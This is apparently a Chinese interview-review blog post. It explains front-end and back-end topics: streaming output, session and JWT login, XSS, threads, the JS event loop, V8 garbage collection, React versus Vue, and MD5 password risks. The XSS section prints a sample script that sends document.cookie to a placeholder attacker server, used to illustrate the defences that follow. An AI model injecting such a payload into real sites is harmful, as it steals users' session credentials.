复盘来自2026/07/03 字节扣子编程开发 人生首面~~~

1.流式输出是怎么实现的

1. 核心原理

流式输出本质是HTTP分块长连接,区别普通一次性响应:普通接口等后端处理完返回完整JSON;流式是大模型边生成文字、后端边分段推送,前端边接收边渲染,解决长回答等待空白的体验问题。
市面上两种实现方案:SSE、Fetch ReadableStream,项目主流用后者。

2. 方案一:SSE(EventSource)

  • 底层:HTTP单向长连接,固定响应头text/event-stream
  • 局限:仅支持GET,参数拼在URL,对话历史很长时会超限,无法传递复杂请求体;
  • 流程:前端new EventSource监听onmessage,后端按data: {}\n\n格式推送分片,收到[DONE]关闭连接;
  • 适用:简单短提问场景,业务对话很少用。

3. 方案二:Fetch + ReadableStream(项目主流,重点讲)

  1. 请求层
    使用POST发送完整对话messages,搭配AbortController绑定signal,用户点击停止可直接中断请求。
  2. 后端响应规范
    开启Transfer-Encoding: chunked分块传输,不用提前返回内容长度;模型开启stream=true,每产出一个token立刻下发分片,统一携带data标识,末尾返回结束标记。
  3. 前端流处理逻辑
  • 通过res.body.getReader()获取二进制读取器;
  • TextDecoder将二进制转字符串,设置stream模式持续解析;
  • 设计缓冲区buffer,防止一次分片不完整导致解析错乱;
  • 根据双换行\n\n切割每一条消息,循环解析JSON,持续拼接文本实时更新页面视图;
  • 捕获done状态或[DONE]标记,结束流式渲染。

4. 补充边界处理

  1. 中断生成:AbortController.abort()终止流读取;
  2. 乱码/断片:缓冲区缓存不完整字符串,下次拼接再解析;
  3. 异常捕获:流读取失败、接口报错及时关闭读取器,给出错误提示;
  4. 性能优化:避免频繁DOM渲染,可做防抖或者文本片段增量插入。

2.简易登录系统完整流程

一、数据库:用户表 user 极简设计

字段只保留登录核心信息

字段名 类型 作用
id int 主键自增 用户唯一ID
username varchar(50) 登录账号,唯一不可重复
password varchar(100) 加密后的密码,不存明文
create_time datetime 注册时间

核心规则:密码后端用 bcrypt/sha256+盐加密存储。

二、整体完整流程

1. 前端页面

  1. 展示输入框:用户名、密码、登录按钮
  2. 用户输入账号密码,点击登录
  3. 前端基础校验:
    • 账号、密码不能为空
    • 长度符合规则(账号≥3位,密码≥6位)
  4. 校验不通过:直接页面提示,不请求后端
  5. 校验通过:封装成 JSON 请求,发送 POST 请求到后端登录接口

请求示例(Body)

{
  "username": "test001",
  "password": "123456abc"
}

2. 后端接收请求第一层:路由/拦截器

  1. 跨域校验、请求格式校验(必须是JSON)
  2. 判断请求方法是否为POST,非法请求直接返回错误
  3. 提取请求体里 username、password 两个参数,参数缺失返回提示

3. 后端第二层:数据库查询

  1. 根据传入 username 查询 user 表
  2. 分支判断:
    • 查无此用户 → 返回:账号不存在
    • 查询到用户,取出数据库里加密密码

4. 后端第三层:密码比对

  1. 拿前端传的明文密码 + 数据库密码盐值,执行相同加密算法
  2. 对比加密后的两段字符串:
    • 不一致 → 返回:密码错误
    • 一致 → 登录校验通过

5. 登录成功:生成身份凭证

这是Web开发中两种最主流的用户登录后生成身份凭证、保持登录状态的方案,核心区别在于状态存在哪里、怎么传递、怎么验证

一、方案A:Session + Cookie
完整流程
  1. 登录验证:你输入账号密码,后端验证通过。
  2. 创建Session:后端生成唯一的SessionID(如sess_abc123),并在服务器内存/Redis/数据库中创建Session,存入user_idusername等信息。
  3. 下发Cookie:后端通过响应头Set-Cookie: JSESSIONID=sess_abc123; HttpOnly,让浏览器自动保存这个Cookie。
  4. 后续请求:浏览器访问需要权限的接口时,自动在请求头带上这个Cookie。
  5. 鉴权:后端从Cookie中取出SessionID,去服务器存储里查对应的Session,查到就认为你已登录。
核心特点
  • 有状态:服务器必须存储Session数据。
  • 依赖Cookie:浏览器自动管理,前端几乎不用写代码。
  • 优点:成熟、易实现、服务器可随时销毁Session(强制下线)。
  • 缺点:集群/分布式需做Session共享(如Redis)、跨域麻烦、移动端支持差。
二、方案B:JWT Token
完整流程
  1. 登录验证:你输入账号密码,后端验证通过。
  2. 生成JWT:后端用密钥加密,生成JWT字符串。JWT分三部分:
    • Header:算法类型(如HS256)。
    • Payload:存放user_idusername、过期时间(不加密,仅Base64编码)。
    • Signature:签名,防篡改。
  3. 返回Token:后端把JWT字符串直接返回给前端(通常在响应体)。
  4. 前端存储:前端存在localStorageCookie里。
  5. 后续请求:前端手动在请求头加Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  6. 鉴权:后端用密钥验证签名是否合法、是否过期,合法就直接从Payload里取用户信息,不用查数据库/Redis
核心特点
  • 无状态:服务器不存任何用户登录状态,天然支持水平扩展。
  • 自包含:Token里自带用户信息。
  • 优点:跨域友好、移动端/小程序/APP全支持、集群无需共享。
  • 缺点:注销困难(需黑名单)、Payload不能存敏感信息、体积比SessionID大。
三、核心对比
维度 Session + Cookie JWT Token
状态存储 服务器端(内存/Redis) 客户端(Token自身)
传递方式 浏览器自动带Cookie 前端手动放Authorization
鉴权逻辑 查SessionID → 取用户信息 验签名 → 直接读Payload
分布式 需要Session共享(Redis) 天然支持
跨域 受Cookie同源策略限制 灵活,无限制
注销 简单(删Session) 复杂(需黑名单)
适用场景 传统Web、管理后台 前后端分离、APP、微服务

简单说:Session是服务器记着你,JWT是你自己带着证明

需要我给你写一个Spring Boot + JWT的最简登录鉴权代码示例吗?

三、补充关键安全点

  1. 密码永不明文传输、永不明文入库
  2. 登录接口加请求限流,防止暴力破解撞库
  3. Token 设置过期时间,支持退出登录销毁凭证
  4. 重要接口增加登录鉴权拦截,未登录直接拦截跳转登录页

3.XSS 攻击完整讲解,结合你刚才的登录系统场景

一、什么是 XSS

全称跨站脚本攻击(Cross-Site Scripting),因为CSS重名所以简写XSS。
核心原理:黑客把恶意JS代码注入页面,浏览器分不清是正常代码还是恶意脚本,直接执行,窃取本地存储、Cookie、账号凭证

XSS本质是页面把用户可控内容当成代码执行;防护核心:不让恶意脚本有执行机会,同时把登录凭证(Cookie/Token)对JS不可见。

二、三类常见XSS

1. 存储型XSS

流程:

  1. 黑客在可提交内容的地方(昵称、简介、评论、用户名)输入恶意脚本
    示例恶意内容:
    <script>fetch('https://黑客服务器?c='+document.cookie)</script>
    
  2. 后端没过滤,直接存入数据库user表
  3. 其他用户打开页面,后端取出数据原样渲染到HTML
  4. 页面加载时自动执行JS,把当前用户Cookie/Token发给黑客

对应你的登录系统风险点

如果用户名允许输入特殊标签,黑客注册账号名为上面那段script;其他管理员查看用户列表时,页面渲染用户名就触发XSS,盗取管理员登录凭证。

2. 反射型XSS(URL传参触发)

恶意脚本放在URL参数里,诱导用户点开链接。
例:xxx.com/login?name=<script>偷token代码</script>
后端直接把name参数拼到页面HTML,点开链接立刻执行脚本。

3. DOM型XSS(纯前端漏洞,后端无过错)

后端返回数据干净,但前端JS直接把参数插入DOM,没做转义。
比如前端取URL参数直接 innerHTML 渲染,无需后端存储,前端代码漏洞导致。

三、XSS对你登录系统的致命危害

  1. 盗取 Cookie / SessionID,劫持账号登录
  2. 读取 localStorage 里存的 JWT Token,黑客直接伪造身份调用所有接口
  3. 篡改页面,伪造假登录弹窗骗用户二次输入账号密码
  4. 盗用当前用户权限,自动发起操作(删数据、改资料)

四、前后端配套防御方案(落地到登录系统)

后端防御

  1. 输入过滤转义
    所有存入user表的字段(用户名、简介),转义特殊字符:< > " ' &,把标签变成文本字符,浏览器不会识别为脚本。
  2. CSP 内容安全策略(响应头)
    服务端返回 Content-Security-Policy,限制页面只能加载信任域名的JS,禁止内联脚本执行,大幅阻断XSS。
  3. Cookie 安全属性
    登录Session Cookie增加两个关键标识:
  • HttpOnly:JS无法读取document.cookie,就算XSS成功也偷不到会话Cookie
  • Secure:仅HTTPS下携带Cookie

前端防御

  1. 禁止使用 innerHTML、document.write 直接渲染用户输入;优先用 textContent,只会当成纯文本展示
  2. JWT不要存在localStorage(极易被XSS读取),重要系统存HttpOnly Cookie
  3. 渲染用户展示内容前,前端手动转义特殊符号

额外辅助防护

  • 输入长度限制,禁止超长特殊标签串
  • 登录接口增加验证码、限流,就算凭证泄露也增加劫持成本

4.进程 & 线程

1. 基础定义

进程

操作系统资源分配最小单位。
一个独立程序就是一个进程,拥有独立内存、文件句柄、CPU资源、堆,进程之间完全隔离,互不干扰。
例:你后端启动的 Python/Java Web登录服务 = 1个进程;浏览器、微信都是单独进程。

线程

进程内部执行最小调度单位(轻量级)。
一个进程里可以开多条线程,共享进程全部资源(全局变量、内存、端口),每条线程独立走一段代码逻辑,切换开销远小于进程。
例:登录服务进程里,一条线程处理用户登录请求,一条线程写日志,一条线程定时清理过期Token。

2. 核心区别对比

  1. 资源隔离
  • 进程:资源独立,A进程崩溃不会影响其他进程;进程通信麻烦(管道、socket、共享内存)
  • 线程:同进程内资源共享,一条线程异常崩溃会直接干掉整个进程;线程间通信简单,直接读写全局变量
  1. 切换开销
  • 进程切换:需要刷新页表、缓存,开销大
  • 线程切换:仅切换寄存器,开销极小
  1. 内存空间
    进程:私有地址空间;线程:共用进程地址空间

多进程部署(多实例)

启动3份登录服务进程,监听不同端口,Nginx负载均衡分发请求。
优点:一个进程挂了,另外两个正常提供登录服务,稳定性高;
缺点:内存占用翻倍,进程间无法共享在线用户登录缓存。

多线程处理请求(单进程多线程)

单个登录服务进程,开启线程池,每来一个登录请求分配一条线程处理:接收参数→查用户表→密码校验→下发Token。
优点:占用资源少,线程共享用户缓存;
风险:某条线程代码死循环/报错,整个登录服务直接宕机。

并发 && 并行

  • 并发:单CPU快速切换线程/进程,看起来同时运行;
  • 并行:多核CPU,多个线程/进程真正同时执行。

5.讲解一下JS 数据源是什么、底层设计。js的单线程多线程怎么控制的

1. JS 数据源概念

JS 本身没有专门叫「数据源」的内置模块,行业里说的 JS 数据源分两类:

  1. 内存数据源:JS 原生数据容器(数组 Array、对象 Object、Map、Set、WeakMap 等),存放页面临时数据;
  2. 远端数据源:接口后端返回数据(Axios/Fetch 请求)、本地持久化数据源(localStorage/sessionStorage/indexedDB);
  3. 框架封装数据源(Vue/React/表格组件):组件封装的 DataSource,封装分页、筛选、排序、请求逻辑。

2. 原生基础数据源底层设计

(1)Object 普通对象
  • 底层:哈希表(HashTable),键值对存储
  • 设计特点:
    • key 只能是字符串/Symbol,数字会自动转字符串;
    • 原型链会继承属性,遍历会拿到原型上的字段;
    • 查询、增删平均 O(1),无序(ES6 后按插入顺序);
  • 缺陷:无法存复杂对象作为 key,没有内置去重、迭代 API。
(2)Array 数组

底层是连续内存 + 哈希混合存储(V8 引擎):

  1. 密集数组:下标连续数字,分配连续内存,读写极快;
  2. 稀疏数组:下标断层(arr[100] = 1),改用哈希表存储空位,性能下降;
    设计思路:
  • 封装批量操作 API:map/filter/reduce 统一数据处理;
  • 长度可动态扩容,自动分配内存,不用手动管理;
    适合有序列表类数据源。
(3)Map / WeakMap(标准键值数据源)

Map 设计优化 Object 的缺陷:

  • key 支持任意类型(对象、数字、函数);
  • 自带 size、有序、纯自身键值,不遍历原型;
    WeakMap 特殊设计:弱引用
  • key 必须是对象,不会阻止 GC 垃圾回收;
  • 无迭代、无 size,适合缓存临时数据源,自动释放内存。
(4)Set / WeakSet(去重数据源)

存储唯一值,自动去重;WeakSet 仅存对象、弱引用。

3. 远端持久化数据源设计

  1. localStorage/sessionStorage
    • 底层:浏览器持久化字符串存储,只能存字符串;
    • 设计限制:5MB 容量,同步读写(大数据会卡主线程);
    • 使用规范:存取 JSON 序列化对象数据源。
  2. IndexedDB
    • 浏览器内置异步数据库,真正结构化数据源;
    • 设计:事务、索引、游标,支持大量二进制/对象数据,异步不阻塞主线程;
  3. 网络数据源(Fetch/Axios)
    设计分层:
    • 请求层:封装请求头、超时、拦截器;
    • 数据转换层:响应 JSON 自动转 JS 对象;
    • 缓存层:内存缓存/本地缓存重复接口数据;
      属于远程异步数据源

4. 组件库 DataSource(业务数据源设计)

以 Ant Design Table 为例标准设计:

const dataSource = [
  { id:1, name:'xxx' }
]

内部封装逻辑分层:

  1. 原始数据层:保存后端返回数组;
  2. 处理层:分页、过滤、排序、搜索;
  3. 状态层:loading、总条数、当前页码;
  4. 渲染层:处理后数据交给表格渲染;
    核心设计思想:数据与视图分离,统一管理数据逻辑

6. JS 单线程 + 异步多任务

1. 核心结论

JavaScript 执行主线程永远只有 1 条,不存在多线程并发执行 JS 代码;
所谓“多任务效果”靠:事件循环 EventLoop + 浏览器宿主多工作线程 配合实现。

1)为什么 JS 设计成单线程?

JS 初衷是操作 DOM,如果多线程会出现冲突:
线程A删除DOM、线程B修改同一DOM,无法确定执行顺序,加锁会极度复杂;
单线程保证 DOM 操作顺序可控,简化前端开发模型。

2. 浏览器底层真正的多线程(宿主线程,不是JS线程)

浏览器会开启多条独立工作线程,这些线程不归JS管理,只是帮主线程干活

  1. JS 主线程:唯一执行 JS、操作 DOM;
  2. 定时器线程:处理 setTimeout/setInterval;
  3. HTTP 请求线程:处理 Fetch/Ajax;
  4. UI 渲染线程:绘制页面(和JS主线程互斥,互斥锁);
  5. WebWorker 线程:独立子线程,可跑纯计算JS,不能操作DOM;

运行机制拆解(单线多任务控制逻辑)

步骤1:主线程同步代码优先执行

主线程有调用栈 Call Stack,所有同步代码从上到下入栈执行,栈空才会去处理异步任务。

步骤2:异步任务交给浏览器其他线程处理

遇到异步代码不会阻塞主线程,直接丢给对应后台线程:

  • setTimeout → 定时器线程倒计时;
  • fetch 请求 → 网络线程等待响应;
  • 点击事件 → 事件线程监听点击;

后台线程完成任务后,不会立刻执行回调,而是把回调函数推入对应队列。

步骤3:两大任务队列(控制执行优先级)
  1. 宏任务队列 Macrotask(优先级低)
    setTimeout、setInterval、script整体代码、IO、UI渲染
  2. 微任务队列 Microtask(优先级高)
    Promise.then/catch/finally、await、queueMicrotask、MutationObserver
步骤4:事件循环 EventLoop 调度规则(核心控制逻辑)
  1. 清空调用栈;
  2. 一次性全部清空微任务队列所有回调;
  3. 一个宏任务放入调用栈执行;
  4. 重复循环 1-3;

举个直观例子

console.log('同步1');
setTimeout(()=>{
  console.log('宏任务')
},0)
Promise.resolve().then(()=>{
  console.log('微任务')
})
console.log('同步2');

执行顺序:
同步1 → 同步2 → 微任务 → 宏任务
控制逻辑:同步栈清空 → 榨干所有微任务 → 再执行单个宏任务。

3. WebWorker:真正的多线程方案(JS多线程控制)

主线程只能有一个,但 WebWorker 可以创建独立 JS 子线程,弥补单线程计算阻塞问题。

设计规则

  1. Worker 线程无法访问 DOM、window、document,只能纯计算;
  2. 线程之间完全隔离,不能共享变量;
  3. 通信依靠 postMessage 传递数据(拷贝传递,不共享内存);
  4. 主线程和Worker通过消息事件互相收发数据;

使用场景

大数据循环、复杂算法、文件解析,避免主线程卡死页面。

4. 如何手动控制 JS “单线多任务”顺序?

  1. 控制优先级:微任务永远早于宏任务;
  2. 串行异步:Promise 链式调用 / async await 保证顺序;
  3. 并行异步:Promise.all / allSettled 并发请求;
  4. 耗时计算:丢进 WebWorker 防止阻塞主线程;
  5. 节流防抖:控制高频宏任务(滚动、输入)执行频率;

7.js垃圾回收机制

一、V8 内存分区

堆分为新生代、老生代,两套垃圾回收机制分开处理

  1. 新生代(新生区)
    存放短期临时对象:接口临时变量、请求临时 JSON、函数局部变量,存活时间很短,容量小。
    采用算法:复制算法(Scavenge)
    把新生代划分为 From / To 两块等大空间。
  • From 存对象,To 空闲;
  • GC 触发时,把 From 里存活对象复制到 To;
  • 复制完成后,直接清空整个 From,交换 From/To 身份。
    优点:清理快、无内存碎片;缺点:只能用一半堆内存。
    新生代对象经历 2 次 GC 存活,晋升到老生代。
  1. 老生代(老年代)
    长期存活对象:全局缓存、常驻内存的配置、长连接对象,数量多、体积大。
    两套组合使用:标记清除 + 标记压缩
    1)标记阶段:从根对象(全局、栈变量)遍历,标记所有可达存活对象;
    2)清除阶段:未被标记的判定为垃圾,直接释放;
    单纯标记清除会产生大量内存碎片,内存分配大对象失败。
    3)标记压缩:碎片多时触发,把存活对象往一侧平移合并,消除碎片。

二、完整垃圾回收流程

  1. 程序不断创建对象,堆内存持续上涨;
  2. 达到阈值自动触发 GC,也可手动触发(不推荐生产用);
  3. 暂停 JS 主线程(STW 停顿 Stop-The-World),整个业务代码卡住;
  4. 新生代/老生代分别执行回收逻辑;
  5. GC 结束,恢复主线程,继续处理登录、接口请求。

三、关键:为什么单线程 GC 会 STW?

JS 主线程和 GC 共用一套堆内存,回收时如果同时执行业务代码:
一边新建对象、一边移动/删除对象,引用关系会彻底混乱。
所以必须暂停所有 JS 逻辑,等 GC 完成再恢复。

四、V8 优化手段,缓解卡顿

  1. 增量标记
    老生代标记不全一次性做完,拆分成小段;标记一小段,恢复主线程处理业务,交替执行,大幅降低单次停顿时长。
  2. 并行回收
    底层 libuv 工作线程辅助做清理复制,主线程只做标记,利用多核分担 GC 压力。
  3. 分代回收策略
    短期临时对象快速在新生代回收,不会堆积到老生代,减少老生代 GC 触发频率。

8.React vs Vue 核心区别

一、核心设计思想

Vue

模板 + 响应式双向绑定

  1. 分开写法:HTML 写模板,JS 写逻辑,贴近传统前端开发;
  2. 核心:Object.defineProperty(Vue2) / Proxy(Vue3) 主动劫持数据,数据一变自动更新视图;
  3. 天然双向绑定 v-model,表单开发极简。

React

JSX 一切皆JS,单向数据流

  1. 模板直接写在JS里(JSX),HTML和逻辑混写;
  2. 无主动劫持,靠状态驱动:修改 state 才会重渲染;
  3. 强制单向数据流,没有原生双向绑定,需要手动封装。

二、语法层面

  1. 模板写法
  • Vue:独立 <template>,指令 v-if/v-for/v-bind/v-on
  • React:JSX,用三元代替v-if,map代替v-for,{} 插值,className 代替class
  1. 事件
  • Vue:@click="fn"
  • React:onClick={fn}
  1. 双向绑定
  • Vue:v-model="value" 一行搞定
  • React:受控组件,value + onChange 手动实现

三、响应式原理

Vue2

Object.defineProperty 劫持对象已有属性

  • 缺陷:新增/删除对象属性、数组下标修改无法监听,需要 $set

Vue3

Proxy 代理整个对象

  • 可监听新增、删除、数组所有操作,无 $set,性能更好

React

无数据劫持,不可变 State

  • 直接修改state不会更新视图,必须 setState / setXXX 替换引用;
  • 对比新旧虚拟DOM,差异更新页面;
  • 优势:逻辑统一,无隐性监听陷阱;缺点:简单场景代码偏多

四、虚拟DOM & 更新机制

  1. Vue:响应式依赖收集
    组件会精准收集当前模板用到的变量,只更新依赖变化的节点,粒度细,性能友好;
  2. React:默认整组件重渲染
    只要父state更新,子组件默认全部重渲染,需要手动优化 memo/useMemo/useCallback 减少渲染。

五、编程范式

  • Vue:选项式API(Vue2)/组合式API(Vue3)
    选项式把data/methods/watch分开,入门简单;组合式复用逻辑;
  • React:纯函数组件 + Hooks
    无选项配置,全部用函数+钩子管理状态、生命周期,逻辑聚合复用更灵活。

9.MD5 存储密码存在的完整安全问题

单纯MD5存储密码有三大致命问题:算法运算过快易暴力破解、存在哈希碰撞、无随机盐时彩虹表可批量还原明文;即使加盐单次MD5也不足以抵御现代撞库攻击,生产环境应当使用bcrypt这类自适应慢哈希算法存储用户密码。

一、核心底层缺陷:MD5 哈希算法本身已被破解

  1. 不可逆,但可彩虹表暴力破解
    MD5 只是单向哈希,不能直接反推原文,但网上存在海量彩虹表(预计算好的明文→MD5映射库)。
    简单弱密码(123456、abc123)的MD5值一秒就能查表还原出原始密码。

  2. 存在哈希碰撞
    已经找到两段完全不同的字符串,经过MD5运算后输出一模一样的哈希值。极端场景下攻击者可以构造碰撞数据绕过密码校验。

  3. 算法速度太快,暴力破解成本极低
    MD5运算轻量化,CPU/GPU一秒能生成上亿条哈希。黑客可以短时间内遍历大量密码字典撞库,几分钟就能破解大量弱口令。

二、不加盐MD5的致命业务风险(登录系统场景)

1. 相同密码哈希值完全一致

多个用户使用同一个密码,数据库里存的MD5字符串一模一样。
一旦泄露数据库,黑客能快速筛选出所有共用相同密码的账号,批量盗号。

2. 数据库拖库即大量账号泄露

如果网站数据库被拖走,全部MD5密码会丢去彩虹表匹配,用户明文密码大量暴露。
很多用户会复用同一套账号密码,进而泄露微信、支付等其他平台账号。

三、简单加盐MD5依然有漏洞

即使给密码加固定盐 md5(password + salt),仍有缺陷:

  1. 全局固定盐泄露
    盐写死在代码里,一旦源码泄露,等同于无盐,彩虹表依然能批量破解。
  2. 没有迭代加重计算量
    只做一次MD5,运算速度太快,GPU爆破效率极高。
  3. 无法抵御现代暴力破解手段。

四、合规与标准淘汰问题

  1. MD5 早已被各大安全标准弃用,等保、网络安全规范不允许用MD5存储用户密码;
  2. 国家网络安全要求存储口令必须使用慢哈希算法(bcrypt、Argon2、PBKDF2)。

五、正确替代方案(生产登录系统推荐)

  1. bcrypt(首选)
    自动生成随机盐、内置多次迭代,算法运算慢,GPU爆破成本极高,每个用户盐值独立。
  2. PBKDF2 / Argon2
    适合需要自定义迭代次数场景,安全性强。
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐